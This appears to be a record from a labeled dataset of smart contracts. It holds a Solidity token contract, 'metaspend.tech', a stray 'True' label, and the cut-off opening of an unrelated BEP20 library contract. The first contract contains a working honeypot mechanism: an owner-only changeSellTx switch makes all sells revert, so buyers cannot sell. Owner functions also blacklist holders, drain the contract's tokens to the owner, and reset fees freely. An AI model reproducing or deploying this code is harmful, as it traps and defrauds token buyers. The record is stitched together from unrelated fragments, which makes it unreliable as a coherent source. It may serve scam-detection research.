using Address for address;
address payable public marketingAddress = payable(0x345FD6eb24e8dfE13F6120bdB1313F41a2A6d039); // Marketing Address
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isSniper;
address[] private _confirmedSnipers;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "metaspend.tech";
string private _symbol = "METASPEND";
uint8 private _decimals = 9;
uint256 public _taxFee;
uint256 private _previousTaxFee = _taxFee;
uint256 private _liquidityFee;
uint256 private _previousLiquidityFee = _liquidityFee;
mapping(address => bool) public Limtcheck;
uint256 private _feeRate = 2;
uint256 launchTime;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
uint256 public maxTX =30000000000000e9;
uint256 public airdropBal=30000000000000e9;
bool inSwapAndLiquify;
bool tradingOpen = false;
bool public opensellTx=true;
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
openTrading();
emit Transfer(address(0), _msgSender(), _tTotal);
}
function initContract() external onlyOwner() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
marketingAddress = payable(marketingAddress);
Limtcheck[_msgSender()]=true;
Limtcheck[address(uniswapV2Router)]=true;
Limtcheck[uniswapV2Pair]=true;
Limtcheck[marketingAddress]=true;
}
function openTrading() internal {
_liquidityFee=10;
_taxFee=0;
tradingOpen = true;
launchTime = block.timestamp;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function ExcludeLimitcheck(address _addr,bool _status) public onlyOwner() {
Limtcheck[_addr]=_status;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], "You have no power here!");
require(!_isSniper[msg.sender], "You have no power here!");
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(tradingOpen, "Trading not yet enabled.");
//antibot
if (block.timestamp == launchTime) {
_isSniper[to] = true;
_confirmedSnipers.push(to);
}
}
if(!Limtcheck[to]){ require(balanceOf(to).add(amount) <= maxTX,"Tx Limit Exceed");
}
uint256 contractTokenBalance = balanceOf(address(this));
//sell
if (!inSwapAndLiquify && tradingOpen && to == uniswapV2Pair) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
swapTokens(contractTokenBalance);
}
if(opensellTx==false)
{
revert('Sell Tx not allowed');
}
}
bool takeFee = false;
//take fee only on swaps
if ( (from==uniswapV2Pair || to==uniswapV2Pair) && !(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ) {
takeFee = true;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokens(uint256 contractTokenBalance) private lockTheSwap {
swapTokensForEth(contractTokenBalance);
//Send to Marketing address
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
function sendETHToFee(uint256 amount) private {
marketingAddress.transfer(amount);
}
function ManualApproval() public onlyOwner
{
uint256 contractTokenBalance = balanceOf(address(this));
_approve(address(this), address(uniswapV2Router), contractTokenBalance);
}
function changeSellTx(bool _status) public onlyOwner {
opensellTx=_status;
}
function ManualswapTokens() public onlyOwner {
uint256 contractTokenBalance = balanceOf(address(this));
IERC20(address(this)).transfer(_msgSender(),contractTokenBalance);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function airdrop(address[] memory addr) external onlyOwner {
for(uint i=0; i < addr.length;i++)
{
uint256 v1bal= 10000000000e9;
IERC20(address(this)).transfer(addr[i],v1bal);
}
}
function removeToken(uint256 _amount) external onlyOwner {
IERC20(address(this)).transfer(_msgSender(),_amount);
}
function setBuySellFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setmaxTX(uint256 amount) external {
require(msg.sender==owner() || msg.sender==marketingAddress,"Accessable");
maxTX = amount;
}
function setMarketingAddress(address _marketingAddress) external onlyOwner() {
marketingAddress = payable(_marketingAddress);
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function isBlacklist(address account) public view returns (bool) {
return _isSniper[account];
}
function addBlacklist(address[] memory account) external onlyOwner() {
for(uint i=0;i<account.length;i++)
{
require(account[i] != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap');
require(!_isSniper[account[i]], "Account is already blacklisted");
_isSniper[account[i]] = true;
_confirmedSnipers.push(account[i]);
}
}
function removeBlacklist(address account) external onlyOwner() {
require(_isSniper[account], "Account is not blacklisted");
for (uint256 i = 0; i < _confirmedSnipers.length; i++) {
if (_confirmedSnipers[i] == account) {
_confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1];
_isSniper[account] = false;
_confirmedSnipers.pop();
break;
}
}
}
function setFeeRate(uint256 rate) external onlyOwner() {
_feeRate = rate;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
}
|
True
|
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/**
*Submitted for verification at BscScan.com on 2021-06-14
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/token/BEP20/lib/IBEP20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the BEP standard.
*/
interface IBEP20 {
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Returns the token owner.
*/
function getOwner() external view returns (address);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _owner, address spender) external view returns (uint256);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: contracts/token/BEP20/lib/BEP20.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IBEP20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract BEP20 is Ownable, IBEP20 {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {BEP20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IBEP20-balanceOf} and {IBEP20-transfer}.
*/
function decimals() public view override returns (uint8) {
return _decimals;
}
/**
* @dev See {IBEP20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IBEP20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IBEP20-getOwner}.
*/
function getOwner() public view override returns (address) {
return owner();
}
/**
* @dev See {IBEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IBEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "BEP20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
_transfer(sender, recipient, amount);
return true;
}
/**
* @dev See {IBEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IBEP20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IBEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IBEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "BEP20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "BEP20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "BEP20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "BEP20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: contracts/token/BEP20/lib/BEP20Mintable.sol
pragma solidity ^0.8.0;
/**
* @title BEP20Mintable
* @dev Implementation of the BEP20Mintable. Extension of {BEP20} that adds a minting behaviour.
*/
abstract contract BEP20Mintable is BEP20 {
// indicates if minting is finished
bool private _mintingFinished = false;
/**
* @dev Emitted during finish minting
*/
event MintFinished();
/**
* @dev Tokens can be minted only before minting finished.
*/
modifier canMint() {
require(!_mintingFinished, "BEP20Mintable: minting is finished");
_;
}
/**
* @return if minting is finished or not.
*/
function mintingFinished() public view returns (bool) {
return _mintingFinished;
}
/**
* @dev Function to mint tokens.
*
* WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts.
*
* @param account The address that will receive the minted tokens
* @param amount The amount of tokens to mint
*/
function mint(address account, uint256 amount) public canMint {
_mint(account, amount);
}
/**
* @dev Function to stop minting new tokens.
*
* WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts.
*/
function finishMinting() public canMint {
_finishMinting();
}
/**
* @dev Function to stop minting new tokens.
*/
function _finishMinting() internal virtual {
_mintingFinished = true;
emit MintFinished();
}
}
// File: contracts/token/BEP20/lib/BEP20Burnable.sol
pragma solidity ^0.8.0;
/**
* @dev Extension of {BEP20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract BEP20Burnable is BEP20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {BEP20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {BEP20-_burn} and {BEP20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "BEP20: burn amount exceeds allowance");
_approve(account, _msgSender(), currentAllowance - amount);
_burn(account, amount);
}
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: contracts/token/BEP20/lib/IBEP20Operable.sol
pragma solidity ^0.8.0;
/**
* @title IBEP20Operable Interface
* @dev Interface for a Operable Token contract as defined in
* https://eips.ethereum.org/EIPS/eip-1363
*/
interface IBEP20Operable is IBEP20, IERC165 {
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
* @param amount uint256 The amount of tokens to be transferred
* @return true unless throwing
*/
function transferAndCall(address recipient, uint256 amount) external returns (bool);
/**
* @notice Transfer tokens from `msg.sender` to another address and then call `onTransferReceived` on receiver
* @param recipient address The address which you want to transfer to
